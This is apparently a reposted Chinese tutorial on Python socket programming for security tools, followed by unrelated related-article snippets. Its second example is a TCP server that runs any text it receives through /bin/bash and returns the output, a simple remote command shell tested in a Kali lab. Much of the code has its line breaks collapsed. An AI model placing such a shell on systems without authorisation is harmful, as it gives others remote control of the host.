python安全工具开发笔记(四)——python网络编程

一、C/S架构

什么是C/S架构
C : Client S : Server。客户机和服务器结构。
Server 唯一的目的就是等待Client 的请求,Client 连上 Server 发送必要的数据,然后等待Server端完成请求的反馈。

C/S网络编程
Server端进行设置,首先创建一个通信端点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client编程相对Server端编程简单,只要创建一个通信端点,建立到服务器的连接,就可以提出请求了。

二、套接字 - 通信端点

套接字是一种具有之前所说的“通信端点”概念的计算机网络数据结构。网络化的应用程序在开始任何通讯之前都必须创建套接字。

Python支持: AF_UNIX,AF_NETLINK和AF_INET,其中AF_INET是基于网络的套接字。

三、Python网络编程

Python网络编程- socket模块

socket模块的socket()函数用来创建套接字

使用socket.socket()函数来创建套接字,方法如下∶
socket(socket family,socket_type,protocol=0)

创建一个TCP/IP套接字,方法如下:
tcpsock = socket(socket.AF INET,socket.SOCK_STREAM)

四、套接字对象方法

服务端套接字函数
函数描述
s.bind()绑定地址(主机,端口)道套接字
s.listen()开始TCP监听
s.accept()被动接受TCP客户端连接,(阻塞式)等待连接的到来
客户端套接字函数
函数描述
s.connect()主动初始化TCP服务器连接
s.connect_ex()Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常
套接字对象方法
函数描述
s.recv()接受TCP数据
s.send()发送TCP数据
s.sendall()完整发送TCP数据
s.recvfrom()接受UDP数据
s.sendto()发送UDP数据
s.getpeemame()连接到当前套接字的远端地址
s.getsockname()当前套接字的地址
s.getsockopt()返回指定套接字的参数
s.setsockopt()设置指定套接字的参数
s.close()关闭套接字

五、Python网络编程实例

1、创建一个TCP服务器

ss = socket() #创建服务器套接字
ss.bind() #把地址绑定到套接字上
ss.listen() #监听连接
inf loop; #服务器无限循环
cs = ss.accept() #接受客户端连接
cmmon loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

2、创建一个TCP客户端
cs.socket() #创建客户端套接字
cs.connect() #尝试连接套接字
common loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

示例一:

服务端代码:

#创建服务端
from socket import *
from time import ctimeHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环sc = ctime()+datatcpClient.send(sc.encode())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭

将服务端代码放在kali中运行,将客户端代码放在物理机运行,成功运行
在这里插入图片描述
示例二:
实际应用不会这么简单,如果想反弹一个shell
服务端代码:

#创建服务端
from socket import *
from time import ctime
from subprocess import Popen,PIPEHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环cmd = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)tcpClient.send(cmd.stdout.read())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/141197.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【LeetCode75】第六十三题 不同路径

目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 题目给我们返回地图的长和宽。问我们从地图的左上走到右下有几种方法。我们只能往下走或是往右走。 这个算是简单的二维动态规划题了。 …

RabbitMQ生产故障问题分析

1. 问题引发 由某个服务BI-collector-xx队列出现阻塞,影响很整个rabbitMQ集群服务不可用,多个应用MQ生产者服务出现假死状态,系统影响面较广,业务影响很大。当时为了应急处理,恢复系统可用,运维相对粗暴的把…

华为OD机试 - 相同数字组成图形的周长 - 矩阵(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、Java算法源码五、效果展示1、输入2、输出 华为OD机试 2023B卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷)》。 刷的越多…

docker容器

虚拟化产品 1.奇居架构 2.原生架构 1.支持仿真虚拟化(对系统硬件没有要求,性能最低)vmware个人在windows支持 vmware workstationvmware fusion MAC2.全虚拟化产品,直接使用物理硬件、性能高 exic(操作系统&#xff0…

CentOS 7 制作openssl 1.1.1w 版本rpm包 —— 筑梦之路

源码下载地址: https://www.openssl.org/source/openssl-1.1.1w.tar.gz 参考之前的文章: openssl 1.1.1L /1.1.1o/1.1.1t rpm包制作——筑梦之路_openssl的rpm包_筑梦之路的博客-CSDN博客 直接上spec文件: Name: openssl Version: 1.1…

【差旅游记】初见乌海湖

哈喽,大家好,我是雷工。 最近在乌海出差,有幸见到了传说中在沙漠中看海的“黄河明珠”——乌海湖。 前段时间一直有点忙,现在有点时间,趁还没忘光,简单整理记录下。 那是在上个月,2023年8月8号…

【大虾送书第十一期】适合新手自学的网络安全基础技能“蓝宝书”:《CTF那些事儿》

目录 🥮写在前面 🥮内容简介 🥮读者对象 🥮专家推荐 🥮目录 🥮文末福利 🦐博客主页:大虾好吃吗的博客 🦐专栏地址:免费送书活动专栏地址 写在前面 CTF比赛是快…

Leetcode 887. 鸡蛋掉落

文章目录 题目代码&#xff08;9.25 首刷看解析&#xff09; 题目 Leetcode 887. 鸡蛋掉落 代码&#xff08;9.25 首刷看解析&#xff09; class Solution { public:unordered_map<int, int> memo;int superEggDrop(int K, int N) {return dp(K, N);}int dp(int k, int…

【从入门到起飞】JavaSE—方法引用

&#x1f38a;专栏【JavaSE】 &#x1f354;喜欢的诗句&#xff1a;更喜岷山千里雪 三军过后尽开颜。 &#x1f386;音乐分享【The truth that you leave】 &#x1f970;欢迎并且感谢大家指出我的问题 文章目录 &#x1f354;概述&#x1f354;注意&#x1f388;如何确定是否是…

Java实现byte数组与Hex互转

十六进制字符的输出大写字符&#xff1a;0123456789ABCDEF 十六进制字符的输出小写字符&#xff1a;0123456789abcdef下面使用十六进制大写字符。 1、方式1 public class HexStringUtils {private static final char[] HEX_CHAR_TABLE {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B,…

LabVIEW在运行时调整表控件列宽

LabVIEW在运行时调整表控件列宽 如何在LabIEW中运行时调整表控件的列宽大小&#xff1f; 在VI运行时&#xff0c;有两种不同的方法可以更改表中列的宽度。首先&#xff0c;可以使用鼠标手动更改它们;其次&#xff0c;可以从框图中以编程方式更改它们。 手动更改列宽 只有在…

Feign 使用篇

Feign是一个声明式的HTTP客户端工具&#xff0c;它简化了在分布式系统中进行服务间通信的过程。开发人员可以使用Feign来定义接口&#xff0c;然后通过该接口来调用远程服务&#xff0c;就像调用本地方法一样简单。 目录 Feign的一些关键特性和概念&#xff1a;openfeign 对比 …

【高云FPGA系列教程(11):MultiButton按键驱动模块移植】

文章目录 1. MultiButton简介2. MultiButton代码获取3. MultiButton移植4. 测试与运行本文是高云FPGA系列教程的第11篇文章。 1. MultiButton简介 MultiButton, 一个小巧简单易用的事件驱动型按键驱动模块,可无限量扩展按键,按键事件的回调异步处理方式可以简化你的程序结构…

https跳过SSL认证时是不是就是不加密的,相当于http?

https跳过SSL认证时是不是就是不加密的,相当于http?&#xff0c;其实不是&#xff0c;HTTPS跳过SSL认证并不相当于HTTP&#xff0c;也不意味着没有加密。请注意以下几点&#xff1a; HTTPS&#xff08;Hypertext Transfer Protocol Secure&#xff09;本质上是在HTTP的基础上…

zabbix

利用一个优秀的监控软件可以: 通过一个友好的界面进行浏览整个网站所有的服务器状态 可以在 Web 前端方便的查看监控数据 可以回溯寻找事故发生时系统的问题和报警情况 zabbix 是什么&#xff1f; zabbix 是一个基于 Web 界面的提供分布式系统监视以及网络监视功能的企业级…

数字人惯性动作捕捉技术服务,激发吉祥物IP创新活力

近日&#xff0c;2023年成都市全国科普日主场活动启动仪式中&#xff0c;全球首发全国首个科普数字人形象大使“科普熊猫”&#xff0c;在大会活动现场&#xff0c;数字人“科普熊猫”结合惯性动作捕捉技术&#xff0c;与现场主持人、观众进行实时互动交流&#xff0c;以虚实结…

maven入门

作用 项目管理工具&#xff1a;依赖管理&#xff0c;项目构建 具体解决的问题 便于添加依赖自动化构建项目多模块开发 相关概念 本地仓库-》私服-》镜像/远程仓库&#xff08;中央仓库&#xff09; 依赖 依赖的范围 compiletestprovidedruntimesystem主程序是否是否否测…

Unity丨自动巡航丨自动寻路丨NPC丨

文章目录 概要功能展示技术细节小结 概要 提示&#xff1a;这里可以添加技术概要 本文功能是制作一个简单的自动巡逻的NPC&#xff0c;随机自动寻路。 功能展示 技术细节 using UnityEngine;public class NPCController : MonoBehaviour {public float moveSpeed 5.0f; // …

LeetCode算法二叉树—116. 填充每个节点的下一个右侧节点指针

目录 116. 填充每个节点的下一个右侧节点指针 题解&#xff1a; 代码&#xff1a; 运行结果&#xff1a; 给定一个 完美二叉树 &#xff0c;其所有叶子节点都在同一层&#xff0c;每个父节点都有两个子节点。二叉树定义如下&#xff1a; struct Node {int val;Node *left;N…